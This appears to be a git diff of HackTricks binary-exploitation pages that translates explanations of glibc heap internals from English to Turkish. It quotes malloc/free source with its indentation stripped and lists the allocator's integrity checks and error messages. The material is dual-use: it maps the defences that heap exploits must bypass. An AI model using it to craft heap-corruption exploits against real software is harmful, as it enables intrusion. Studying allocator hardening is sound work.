_int_free Fast Bin - ```c - // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4 +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4 - /* - If eligible, place chunk on a fastbin so it can be found - and used quickly in malloc. - */ +/* +If eligible, place chunk on a fastbin so it can be found +and used quickly in malloc. +*/ - if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) +if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) #if TRIM_FASTBINS - /* - If TRIM_FASTBINS set, don't place chunks - bordering top into fastbins - */ - && (chunk_at_offset(p, size) != av->top) +/* +If TRIM_FASTBINS set, don't place chunks +bordering top into fastbins +*/ +&& (chunk_at_offset(p, size) != av->top) #endif - ) { +) { - if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) - <= CHUNK_HDR_SZ, 0) - || __builtin_expect (chunksize (chunk_at_offset (p, size)) - >= av->system_mem, 0)) - { - bool fail = true; - /* We might not have a lock at this point and concurrent modifications - of system_mem might result in a false positive. Redo the test after - getting the lock. */ - if (!have_lock) - { - __libc_lock_lock (av->mutex); - fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ - || chunksize (chunk_at_offset (p, size)) >= av->system_mem); - __libc_lock_unlock (av->mutex); - } +if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) +<= CHUNK_HDR_SZ, 0) +|| __builtin_expect (chunksize (chunk_at_offset (p, size)) +>= av->system_mem, 0)) +{ +bool fail = true; +/* We might not have a lock at this point and concurrent modifications +of system_mem might result in a false positive. Redo the test after +getting the lock. */ +if (!have_lock) +{ +__libc_lock_lock (av->mutex); +fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ +|| chunksize (chunk_at_offset (p, size)) >= av->system_mem); +__libc_lock_unlock (av->mutex); +} - if (fail) - malloc_printerr ("free(): invalid next size (fast)"); - } +if (fail) +malloc_printerr ("free(): invalid next size (fast)"); +} - free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); +free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); - atomic_store_relaxed (&av->have_fastchunks, true); - unsigned int idx = fastbin_index(size); - fb = &fastbin (av, idx); +atomic_store_relaxed (&av->have_fastchunks, true); +unsigned int idx = fastbin_index(size); +fb = &fastbin (av, idx); - /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ - mchunkptr old = *fb, old2; +/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ +mchunkptr old = *fb, old2; - if (SINGLE_THREAD_P) - { - /* Check that the top of the bin is not the record we are going to - add (i.e., double free). */ - if (__builtin_expect (old == p, 0)) - malloc_printerr ("double free or corruption (fasttop)"); - p->fd = PROTECT_PTR (&p->fd, old); - *fb = p; - } - else - do - { - /* Check that the top of the bin is not the record we are going to - add (i.e., double free). */ - if (__builtin_expect (old == p, 0)) - malloc_printerr ("double free or corruption (fasttop)"); - old2 = old; - p->fd = PROTECT_PTR (&p->fd, old); - } - while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) - != old2); +if (SINGLE_THREAD_P) +{ +/* Check that the top of the bin is not the record we are going to +add (i.e., double free). */ +if (__builtin_expect (old == p, 0)) +malloc_printerr ("double free or corruption (fasttop)"); +p->fd = PROTECT_PTR (&p->fd, old); +*fb = p; +} +else +do +{ +/* Check that the top of the bin is not the record we are going to +add (i.e., double free). */ +if (__builtin_expect (old == p, 0)) +malloc_printerr ("double free or corruption (fasttop)"); +old2 = old; +p->fd = PROTECT_PTR (&p->fd, old); +} +while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) +!= old2); - /* Check that size of fastbin chunk at the top is the same as - size of the chunk that we are adding. We can dereference OLD - only if we have the lock, otherwise it might have already been - allocated again. */ - if (have_lock && old != NULL - && __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) - malloc_printerr ("invalid fastbin entry (free)"); - } +/* Check that size of fastbin chunk at the top is the same as +size of the chunk that we are adding. We can dereference OLD +only if we have the lock, otherwise it might have already been +allocated again. */ +if (have_lock && old != NULL +&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) +malloc_printerr ("invalid fastbin entry (free)"); +} ``` -
### \_int_free finale -If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk` +Eğer parça henüz herhangi bir kutuda tahsis edilmemişse, `_int_free_merge_chunk` çağrısını yapın.
_int_free finale - ```c /* - Consolidate other non-mmapped chunks as they arrive. - */ +Consolidate other non-mmapped chunks as they arrive. +*/ - else if (!chunk_is_mmapped(p)) { +else if (!chunk_is_mmapped(p)) { - /* If we're single-threaded, don't lock the arena. */ - if (SINGLE_THREAD_P) - have_lock = true; +/* If we're single-threaded, don't lock the arena. */ +if (SINGLE_THREAD_P) +have_lock = true; - if (!have_lock) - __libc_lock_lock (av->mutex); +if (!have_lock) +__libc_lock_lock (av->mutex); - _int_free_merge_chunk (av, p, size); +_int_free_merge_chunk (av, p, size); - if (!have_lock) - __libc_lock_unlock (av->mutex); - } - /* - If the chunk was allocated via mmap, release via munmap(). - */ +if (!have_lock) +__libc_lock_unlock (av->mutex); +} +/* +If the chunk was allocated via mmap, release via munmap(). +*/ - else { - munmap_chunk (p); - } +else { +munmap_chunk (p); +} } ``` -
## \_int_free_merge_chunk -This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list. +Bu fonksiyon, P parçasını SIZE bayt ile komşularıyla birleştirmeye çalışacaktır. Ortaya çıkan parçayı sıralanmamış kutu listesine koyar. -Some checks are performed: +Bazı kontroller yapılır: -- If the chunk is the top chunk: `double free or corruption (top)` -- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)` -- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)` -- If the next chunk has a too little size or too big: `free(): invalid next size (normal)` -- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating` +- Eğer parça üst parça ise: `double free or corruption (top)` +- Eğer bir sonraki parça arenanın sınırlarının dışındaysa: `double free or corruption (out)` +- Eğer parça kullanılmıyor olarak işaretlenmemişse (sonraki parçanın `prev_inuse`'unda): `double free or corruption (!prev)` +- Eğer bir sonraki parçanın boyutu çok küçük veya çok büyükse: `free(): invalid next size (normal)` +- Eğer önceki parça kullanılmıyorsa, birleştirmeye çalışacaktır. Ancak, eğer prev_size, önceki parçadaki belirtilen boyuttan farklıysa: `corrupted size vs. prev_size while consolidating`
_int_free_merge_chunk code - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2 /* Try to merge chunk P of SIZE bytes with its neighbors. Put the - resulting chunk on the appropriate bin list. P must not be on a - bin list yet, and it can be in use. */ +resulting chunk on the appropriate bin list. P must not be on a +bin list yet, and it can be in use. */ static void _int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size) { - mchunkptr nextchunk = chunk_at_offset(p, size); +mchunkptr nextchunk = chunk_at_offset(p, size); - /* Lightweight tests: check whether the block is already the - top block. */ - if (__glibc_unlikely (p == av->top)) - malloc_printerr ("double free or corruption (top)"); - /* Or whether the next chunk is beyond the boundaries of the arena. */ - if (__builtin_expect (contiguous (av) - && (char *) nextchunk - >= ((char *) av->top + chunksize(av->top)), 0)) - malloc_printerr ("double free or corruption (out)"); - /* Or whether the block is actually not marked used. */ - if (__glibc_unlikely (!prev_inuse(nextchunk))) - malloc_printerr ("double free or corruption (!prev)"); +/* Lightweight tests: check whether the block is already the +top block. */ +if (__glibc_unlikely (p == av->top)) +malloc_printerr ("double free or corruption (top)"); +/* Or whether the next chunk is beyond the boundaries of the arena. */ +if (__builtin_expect (contiguous (av) +&& (char *) nextchunk +>= ((char *) av->top + chunksize(av->top)), 0)) +malloc_printerr ("double free or corruption (out)"); +/* Or whether the block is actually not marked used. */ +if (__glibc_unlikely (!prev_inuse(nextchunk))) +malloc_printerr ("double free or corruption (!prev)"); - INTERNAL_SIZE_T nextsize = chunksize(nextchunk); - if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0) - || __builtin_expect (nextsize >= av->system_mem, 0)) - malloc_printerr ("free(): invalid next size (normal)"); +INTERNAL_SIZE_T nextsize = chunksize(nextchunk); +if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0) +|| __builtin_expect (nextsize >= av->system_mem, 0)) +malloc_printerr ("free(): invalid next size (normal)"); - free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); +free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); - /* Consolidate backward. */ - if (!prev_inuse(p)) - { - INTERNAL_SIZE_T prevsize = prev_size (p); - size += prevsize; - p = chunk_at_offset(p, -((long) prevsize)); - if (__glibc_unlikely (chunksize(p) != prevsize)) - malloc_printerr ("corrupted size vs. prev_size while consolidating"); - unlink_chunk (av, p); - } +/* Consolidate backward. */ +if (!prev_inuse(p)) +{ +INTERNAL_SIZE_T prevsize = prev_size (p); +size += prevsize; +p = chunk_at_offset(p, -((long) prevsize)); +if (__glibc_unlikely (chunksize(p) != prevsize)) +malloc_printerr ("corrupted size vs. prev_size while consolidating"); +unlink_chunk (av, p); +} - /* Write the chunk header, maybe after merging with the following chunk. */ - size = _int_free_create_chunk (av, p, size, nextchunk, nextsize); - _int_free_maybe_consolidate (av, size); +/* Write the chunk header, maybe after merging with the following chunk. */ +size = _int_free_create_chunk (av, p, size, nextchunk, nextsize); +_int_free_maybe_consolidate (av, size); } ``` -
{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md index 18a0a02b7..43cabb5d2 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md @@ -4,160 +4,160 @@ ## unlink -For more info check: +Daha fazla bilgi için kontrol edin: {{#ref}} unlink.md {{#endref}} -This is a summary of the performed checks: +Bu, gerçekleştirilen kontrollerin bir özetidir: -- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk - - Error message: `corrupted size vs. prev_size` -- Check also that `P->fd->bk == P` and `P->bk->fw == P` - - Error message: `corrupted double-linked list` -- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P` - - Error message: `corrupted double-linked list (not small)` +- Parçanın belirtilen boyutunun, bir sonraki parçadaki `prev_size` ile aynı olup olmadığını kontrol et +- Hata mesajı: `corrupted size vs. prev_size` +- Ayrıca `P->fd->bk == P` ve `P->bk->fw == P` kontrol et +- Hata mesajı: `corrupted double-linked list` +- Eğer parça küçük değilse, `P->fd_nextsize->bk_nextsize == P` ve `P->bk_nextsize->fd_nextsize == P` kontrol et +- Hata mesajı: `corrupted double-linked list (not small)` ## \_int_malloc -For more info check: +Daha fazla bilgi için kontrol edin: {{#ref}} malloc-and-sysmalloc.md {{#endref}} -- **Checks during fast bin search:** - - If the chunk is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected 2` - - If the forward chunk is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected` - - If the returned chunk has a size that isn't correct because of it's index in the fast bin: - - Error message: `malloc(): memory corruption (fast)` - - If any chunk used to fill the tcache is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected 3` -- **Checks during small bin search:** - - If `victim->bk->fd != victim`: - - Error message: `malloc(): smallbin double linked list corrupted` -- **Checks during consolidate** performed for each fast bin chunk: - - If the chunk is unaligned trigger: - - Error message: `malloc_consolidate(): unaligned fastbin chunk detected` - - If the chunk has a different size that the one it should because of the index it's in: - - Error message: `malloc_consolidate(): invalid chunk size` - - If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk: - - Error message: `corrupted size vs. prev_size in fastbins` -- **Checks during unsorted bin search**: - - If the chunk size is weird (too small or too big): - - Error message: `malloc(): invalid size (unsorted)` - - If the next chunk size is weird (too small or too big): - - Error message: `malloc(): invalid next size (unsorted)` - - If the previous size indicated by the next chunk differs from the size of the chunk: - - Error message: `malloc(): mismatching next->prev_size (unsorted)` - - If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`: - - Error message: `malloc(): unsorted double linked list corrupted` - - As we are always checking the las one, it's fd should be pointing always to the arena struct. - - If the next chunk isn't indicating that the previous is in use: - - Error message: `malloc(): invalid next->prev_inuse (unsorted)` - - If `fwd->bk_nextsize->fd_nextsize != fwd`: - - Error message: `malloc(): largebin double linked list corrupted (nextsize)` - - If `fwd->bk->fd != fwd`: - - Error message: `malloc(): largebin double linked list corrupted (bk)` -- **Checks during large bin (by index) search:** - - `bck->fd-> bk != bck`: - - Error message: `malloc(): corrupted unsorted chunks` -- **Checks during large bin (next bigger) search:** - - `bck->fd-> bk != bck`: - - Error message: `malloc(): corrupted unsorted chunks2` -- **Checks during Top chunk use:** - - `chunksize(av->top) > av->system_mem`: - - Error message: `malloc(): corrupted top size` +- **Hızlı bin araması sırasında kontroller:** +- Eğer parça hizalanmamışsa: +- Hata mesajı: `malloc(): unaligned fastbin chunk detected 2` +- Eğer ileri parça hizalanmamışsa: +- Hata mesajı: `malloc(): unaligned fastbin chunk detected` +- Eğer döndürülen parçanın boyutu, hızlı bin içindeki indeksinden dolayı doğru değilse: +- Hata mesajı: `malloc(): memory corruption (fast)` +- Tcache'i doldurmak için kullanılan herhangi bir parça hizalanmamışsa: +- Hata mesajı: `malloc(): unaligned fastbin chunk detected 3` +- **Küçük bin araması sırasında kontroller:** +- Eğer `victim->bk->fd != victim` ise: +- Hata mesajı: `malloc(): smallbin double linked list corrupted` +- **Her hızlı bin parçası için yapılan konsolidasyon kontrolleri:** +- Eğer parça hizalanmamışsa tetikle: +- Hata mesajı: `malloc_consolidate(): unaligned fastbin chunk detected` +- Eğer parçanın boyutu, içinde bulunduğu indeks nedeniyle farklıysa: +- Hata mesajı: `malloc_consolidate(): invalid chunk size` +- Eğer önceki parça kullanılmıyorsa ve önceki parçanın boyutu `prev_chunk` tarafından belirtilen boyuttan farklıysa: +- Hata mesajı: `corrupted size vs. prev_size in fastbins` +- **Sıralanmamış bin araması sırasında kontroller:** +- Eğer parça boyutu garipse (çok küçük veya çok büyük): +- Hata mesajı: `malloc(): invalid size (unsorted)` +- Eğer bir sonraki parça boyutu garipse (çok küçük veya çok büyük): +- Hata mesajı: `malloc(): invalid next size (unsorted)` +- Eğer bir sonraki parçanın belirttiği önceki boyut, parçanın boyutundan farklıysa: +- Hata mesajı: `malloc(): mismatching next->prev_size (unsorted)` +- Eğer `victim->bck->fd == victim` değilse veya `victim->fd == av (arena)` değilse: +- Hata mesajı: `malloc(): unsorted double linked list corrupted` +- Her zaman sonuncusunu kontrol ettiğimiz için, fd'si her zaman arena yapısına işaret etmelidir. +- Eğer bir sonraki parça, öncekinin kullanıldığını belirtmiyorsa: +- Hata mesajı: `malloc(): invalid next->prev_inuse (unsorted)` +- Eğer `fwd->bk_nextsize->fd_nextsize != fwd` ise: +- Hata mesajı: `malloc(): largebin double linked list corrupted (nextsize)` +- Eğer `fwd->bk->fd != fwd` ise: +- Hata mesajı: `malloc(): largebin double linked list corrupted (bk)` +- **Büyük bin (indeksle) araması sırasında kontroller:** +- `bck->fd-> bk != bck`: +- Hata mesajı: `malloc(): corrupted unsorted chunks` +- **Büyük bin (bir sonraki daha büyük) araması sırasında kontroller:** +- `bck->fd-> bk != bck`: +- Hata mesajı: `malloc(): corrupted unsorted chunks2` +- **Top parça kullanımı sırasında kontroller:** +- `chunksize(av->top) > av->system_mem`: +- Hata mesajı: `malloc(): corrupted top size` ## `tcache_get_n` -- **Checks in `tcache_get_n`:** - - If chunk is misaligned: - - Error message: `malloc(): unaligned tcache chunk detected` +- **`tcache_get_n` içindeki kontroller:** +- Eğer parça hizalanmamışsa: +- Hata mesajı: `malloc(): unaligned tcache chunk detected` ## `tcache_thread_shutdown` -- **Checks in `tcache_thread_shutdown`:** - - If chunk is misaligned: - - Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected` +- **`tcache_thread_shutdown` içindeki kontroller:** +- Eğer parça hizalanmamışsa: +- Hata mesajı: `tcache_thread_shutdown(): unaligned tcache chunk detected` ## `__libc_realloc` -- **Checks in `__libc_realloc`:** - - If old pointer is misaligned or the size was incorrect: - - Error message: `realloc(): invalid pointer` +- **`__libc_realloc` içindeki kontroller:** +- Eğer eski işaretçi hizalanmamışsa veya boyut yanlışsa: +- Hata mesajı: `realloc(): invalid pointer` ## `_int_free` -For more info check: +Daha fazla bilgi için kontrol edin: {{#ref}} free.md {{#endref}} -- **Checks during the start of `_int_free`:** - - Pointer is aligned: - - Error message: `free(): invalid pointer` - - Size larger than `MINSIZE` and size also aligned: - - Error message: `free(): invalid size` -- **Checks in `_int_free` tcache:** - - If there are more entries than `mp_.tcache_count`: - - Error message: `free(): too many chunks detected in tcache` - - If the entry is not aligned: - - Error message: `free(): unaligned chunk detected in tcache 2` - - If the freed chunk was already freed and is present as chunk in the tcache: - - Error message: `free(): double free detected in tcache 2` -- **Checks in `_int_free` fast bin:** - - If the size of the chunk is invalid (too big or small) trigger: - - Error message: `free(): invalid next size (fast)` - - If the added chunk was already the top of the fast bin: - - Error message: `double free or corruption (fasttop)` - - If the size of the chunk at the top has a different size of the chunk we are adding: - - Error message: `invalid fastbin entry (free)` +- **`_int_free` başlangıcındaki kontroller:** +- İşaretçi hizalanmış mı: +- Hata mesajı: `free(): invalid pointer` +- Boyut `MINSIZE`'dan büyük ve boyut da hizalanmışsa: +- Hata mesajı: `free(): invalid size` +- **`_int_free` tcache içindeki kontroller:** +- Eğer `mp_.tcache_count`'dan daha fazla giriş varsa: +- Hata mesajı: `free(): too many chunks detected in tcache` +- Eğer giriş hizalanmamışsa: +- Hata mesajı: `free(): unaligned chunk detected in tcache 2` +- Eğer serbest bırakılan parça zaten serbest bırakılmışsa ve tcache'de parça olarak mevcutsa: +- Hata mesajı: `free(): double free detected in tcache 2` +- **`_int_free` hızlı bin içindeki kontroller:** +- Eğer parçanın boyutu geçersizse (çok büyük veya küçük) tetikle: +- Hata mesajı: `free(): invalid next size (fast)` +- Eğer eklenen parça zaten hızlı binin tepe noktasıysa: +- Hata mesajı: `double free or corruption (fasttop)` +- Eğer tepedeki parçanın boyutu, eklediğimiz parçanın boyutundan farklıysa: +- Hata mesajı: `invalid fastbin entry (free)` ## **`_int_free_merge_chunk`** -- **Checks in `_int_free_merge_chunk`:** - - If the chunk is the top chunk: - - Error message: `double free or corruption (top)` - - If the next chunk is outside of the boundaries of the arena: - - Error message: `double free or corruption (out)` - - If the chunk is not marked as used (in the prev_inuse from the following chunk): - - Error message: `double free or corruption (!prev)` - - If the next chunk has a too little size or too big: - - Error message: `free(): invalid next size (normal)` - - If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk: - - Error message: `corrupted size vs. prev_size while consolidating` +- **`_int_free_merge_chunk` içindeki kontroller:** +- Eğer parça tepe parça ise: +- Hata mesajı: `double free or corruption (top)` +- Eğer bir sonraki parça arenanın sınırlarının dışındaysa: +- Hata mesajı: `double free or corruption (out)` +- Eğer parça kullanılmadı olarak işaretlenmemişse (bir sonraki parçanın prev_inuse'inde): +- Hata mesajı: `double free or corruption (!prev)` +- Eğer bir sonraki parça çok küçük veya çok büyükse: +- Hata mesajı: `free(): invalid next size (normal)` +- Eğer önceki parça kullanılmıyorsa, konsolidasyon yapmaya çalışacaktır. Ancak, `prev_size` önceki parçadaki belirtilen boyuttan farklıysa: +- Hata mesajı: `corrupted size vs. prev_size while consolidating` ## **`_int_free_create_chunk`** -- **Checks in `_int_free_create_chunk`:** - - Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`: - - Error message: `free(): corrupted unsorted chunks` +- **`_int_free_create_chunk` içindeki kontroller:** +- Sıralanmamış bine bir parça eklerken, `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)` kontrol et: +- Hata mesajı: `free(): corrupted unsorted chunks` ## `do_check_malloc_state` -- **Checks in `do_check_malloc_state`:** - - If misaligned fast bin chunk: - - Error message: `do_check_malloc_state(): unaligned fastbin chunk detected` +- **`do_check_malloc_state` içindeki kontroller:** +- Eğer hizalanmamış hızlı bin parçası varsa: +- Hata mesajı: `do_check_malloc_state(): unaligned fastbin chunk detected` ## `malloc_consolidate` -- **Checks in `malloc_consolidate`:** - - If misaligned fast bin chunk: - - Error message: `malloc_consolidate(): unaligned fastbin chunk detected` - - If incorrect fast bin chunk size: - - Error message: `malloc_consolidate(): invalid chunk size` +- **`malloc_consolidate` içindeki kontroller:** +- Eğer hizalanmamış hızlı bin parçası varsa: +- Hata mesajı: `malloc_consolidate(): unaligned fastbin chunk detected` +- Eğer geçersiz hızlı bin parça boyutu varsa: +- Hata mesajı: `malloc_consolidate(): invalid chunk size` ## `_int_realloc` -- **Checks in `_int_realloc`:** - - Size is too big or too small: - - Error message: `realloc(): invalid old size` - - Size of the next chunk is too big or too small: - - Error message: `realloc(): invalid next size` +- **`_int_realloc` içindeki kontroller:** +- Boyut çok büyük veya çok küçükse: +- Hata mesajı: `realloc(): invalid old size` +- Bir sonraki parçanın boyutu çok büyük veya çok küçükse: +- Hata mesajı: `realloc(): invalid next size` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md index 3b2ab7085..8198e37b6 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md @@ -4,35 +4,34 @@ ## Allocation Order Summary -(No checks are explained in this summary and some case have been omitted for brevity) +(Bu özet içinde kontroller açıklanmamıştır ve bazı durumlar kısalık için atlanmıştır) -1. `__libc_malloc` tries to get a chunk from the tcache, if not it calls `_int_malloc` +1. `__libc_malloc`, tcache'den bir parça almaya çalışır, eğer alamazsa `_int_malloc` çağrılır. 2. `_int_malloc` : - 1. Tries to generate the arena if there isn't any - 2. If any fast bin chunk of the correct size, use it - 1. Fill tcache with other fast chunks - 3. If any small bin chunk of the correct size, use it - 1. Fill tcache with other chunks of that size - 4. If the requested size isn't for small bins, consolidate fast bin into unsorted bin - 5. Check the unsorted bin, use the first chunk with enough space - 1. If the found chunk is bigger, divide it to return a part and add the reminder back to the unsorted bin - 2. If a chunk is of the same size as the size requested, use to to fill the tcache instead of returning it (until the tcache is full, then return the next one) - 3. For each chunk of smaller size checked, put it in its respective small or large bin - 6. Check the large bin in the index of the requested size - 1. Start looking from the first chunk that is bigger than the requested size, if any is found return it and add the reminders to the small bin - 7. Check the large bins from the next indexes until the end - 1. From the next bigger index check for any chunk, divide the first found chunk to use it for the requested size and add the reminder to the unsorted bin - 8. If nothing is found in the previous bins, get a chunk from the top chunk - 9. If the top chunk wasn't big enough enlarge it with `sysmalloc` +1. Eğer arena yoksa oluşturmaya çalışır. +2. Doğru boyutta herhangi bir hızlı bin parçası varsa, onu kullanır. +1. Tcache'i diğer hızlı parçalarla doldurur. +3. Doğru boyutta herhangi bir küçük bin parçası varsa, onu kullanır. +1. Tcache'i o boyuttaki diğer parçalarla doldurur. +4. İstenen boyut küçük binler için değilse, hızlı binleri sıralanmamış binle birleştirir. +5. Sıralanmamış bin kontrol edilir, yeterli alana sahip ilk parça kullanılır. +1. Bulunan parça daha büyükse, bir kısmını döndürmek için böler ve hatırlatmayı sıralanmamış bine ekler. +2. Bir parça istenen boyutla aynı boyutta ise, döndürmek yerine tcache'i doldurmak için kullanılır (tcache dolana kadar, sonra bir sonraki parça döndürülür). +3. Kontrol edilen her küçük boyuttaki parça, kendi küçük veya büyük binine konur. +6. İstenen boyuttaki büyük bin kontrol edilir. +1. İstenen boyuttan daha büyük olan ilk parçadan başlayarak bakılır, eğer bulunursa döndürülür ve hatırlatmalar küçük bine eklenir. +7. Sonuna kadar sonraki indekslerden büyük binler kontrol edilir. +1. Sonraki daha büyük indeksten herhangi bir parça kontrol edilir, ilk bulunan parçayı istenen boyut için kullanmak üzere böler ve hatırlatmayı sıralanmamış bine ekler. +8. Önceki binlerde hiçbir şey bulunamazsa, üst parçadan bir parça alınır. +9. Üst parça yeterince büyük değilse, `sysmalloc` ile büyütülür. ## \_\_libc_malloc -The `malloc` function actually calls `__libc_malloc`. This function will check the tcache to see if there is any available chunk of the desired size. If the re is it'll use it and if not it'll check if it's a single thread and in that case it'll call `_int_malloc` in the main arena, and if not it'll call `_int_malloc` in arena of the thread. +`malloc` fonksiyonu aslında `__libc_malloc`'ı çağırır. Bu fonksiyon, istenen boyutta herhangi bir mevcut parça olup olmadığını görmek için tcache'i kontrol eder. Eğer varsa kullanır, yoksa tek bir iş parçacığı olup olmadığını kontrol eder ve bu durumda ana arenada `_int_malloc` çağrılır, eğer değilse iş parçacığının arenasında `_int_malloc` çağrılır.
__libc_malloc code - ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -40,1707 +39,1660 @@ The `malloc` function actually calls `__libc_malloc`. This function will check t void * __libc_malloc (size_t bytes) { - mstate ar_ptr; - void *victim; +mstate ar_ptr; +void *victim; - _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2, - "PTRDIFF_MAX is not more than half of SIZE_MAX"); +_Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2, +"PTRDIFF_MAX is not more than half of SIZE_MAX"); - if (!__malloc_initialized) - ptmalloc_init (); +if (!__malloc_initialized) +ptmalloc_init (); #if USE_TCACHE - /* int_free also calls request2size, be careful to not pad twice. */ - size_t tbytes = checked_request2size (bytes); - if (tbytes == 0) - { - __set_errno (ENOMEM); - return NULL; - } - size_t tc_idx = csize2tidx (tbytes); +/* int_free also calls request2size, be careful to not pad twice. */ +size_t tbytes = checked_request2size (bytes); +if (tbytes == 0) +{ +__set_errno (ENOMEM); +return NULL; +} +size_t tc_idx = csize2tidx (tbytes); - MAYBE_INIT_TCACHE (); +MAYBE_INIT_TCACHE (); - DIAG_PUSH_NEEDS_COMMENT; - if (tc_idx < mp_.tcache_bins - && tcache != NULL - && tcache->counts[tc_idx] > 0) - { - victim = tcache_get (tc_idx); - return tag_new_usable (victim); - } - DIAG_POP_NEEDS_COMMENT; +DIAG_PUSH_NEEDS_COMMENT; +if (tc_idx < mp_.tcache_bins +&& tcache != NULL +&& tcache->counts[tc_idx] > 0) +{ +victim = tcache_get (tc_idx); +return tag_new_usable (victim); +} +DIAG_POP_NEEDS_COMMENT; #endif - if (SINGLE_THREAD_P) - { - victim = tag_new_usable (_int_malloc (&main_arena, bytes)); - assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || - &main_arena == arena_for_chunk (mem2chunk (victim))); - return victim; - } +if (SINGLE_THREAD_P) +{ +victim = tag_new_usable (_int_malloc (&main_arena, bytes)); +assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || +&main_arena == arena_for_chunk (mem2chunk (victim))); +return victim; +} - arena_get (ar_ptr, bytes); +arena_get (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - /* Retry with another arena only if we were able to find a usable arena - before. */ - if (!victim && ar_ptr != NULL) - { - LIBC_PROBE (memory_malloc_retry, 1, bytes); - ar_ptr = arena_get_retry (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - } +victim = _int_malloc (ar_ptr, bytes); +/* Retry with another arena only if we were able to find a usable arena +before. */ +if (!victim && ar_ptr != NULL) +{ +LIBC_PROBE (memory_malloc_retry, 1, bytes); +ar_ptr = arena_get_retry (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +} - if (ar_ptr != NULL) - __libc_lock_unlock (ar_ptr->mutex); +if (ar_ptr != NULL) +__libc_lock_unlock (ar_ptr->mutex); - victim = tag_new_usable (victim); +victim = tag_new_usable (victim); - assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || - ar_ptr == arena_for_chunk (mem2chunk (victim))); - return victim; +assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || +ar_ptr == arena_for_chunk (mem2chunk (victim))); +return victim; } ``` -
-Note how it'll always tag the returned pointer with `tag_new_usable`, from the code: - +Dönülen işaretçinin her zaman `tag_new_usable` ile etiketleneceğine dikkat edin, koddan: ```c - void *tag_new_usable (void *ptr) +void *tag_new_usable (void *ptr) - Allocate a new random color and use it to color the user region of - a chunk; this may include data from the subsequent chunk's header - if tagging is sufficiently fine grained. Returns PTR suitably - recolored for accessing the memory there. +Allocate a new random color and use it to color the user region of +a chunk; this may include data from the subsequent chunk's header +if tagging is sufficiently fine grained. Returns PTR suitably +recolored for accessing the memory there. ``` - ## \_int_malloc -This is the function that allocates memory using the other bins and top chunk. +Bu, diğer kutuları ve üst parçayı kullanarak bellek ayıran işlevdir. -- Start +- Başlangıç -It starts defining some vars and getting the real size the request memory space need to have: +İlk olarak bazı değişkenler tanımlanır ve istenen bellek alanının gerçek boyutunu almak için işlem yapılır:
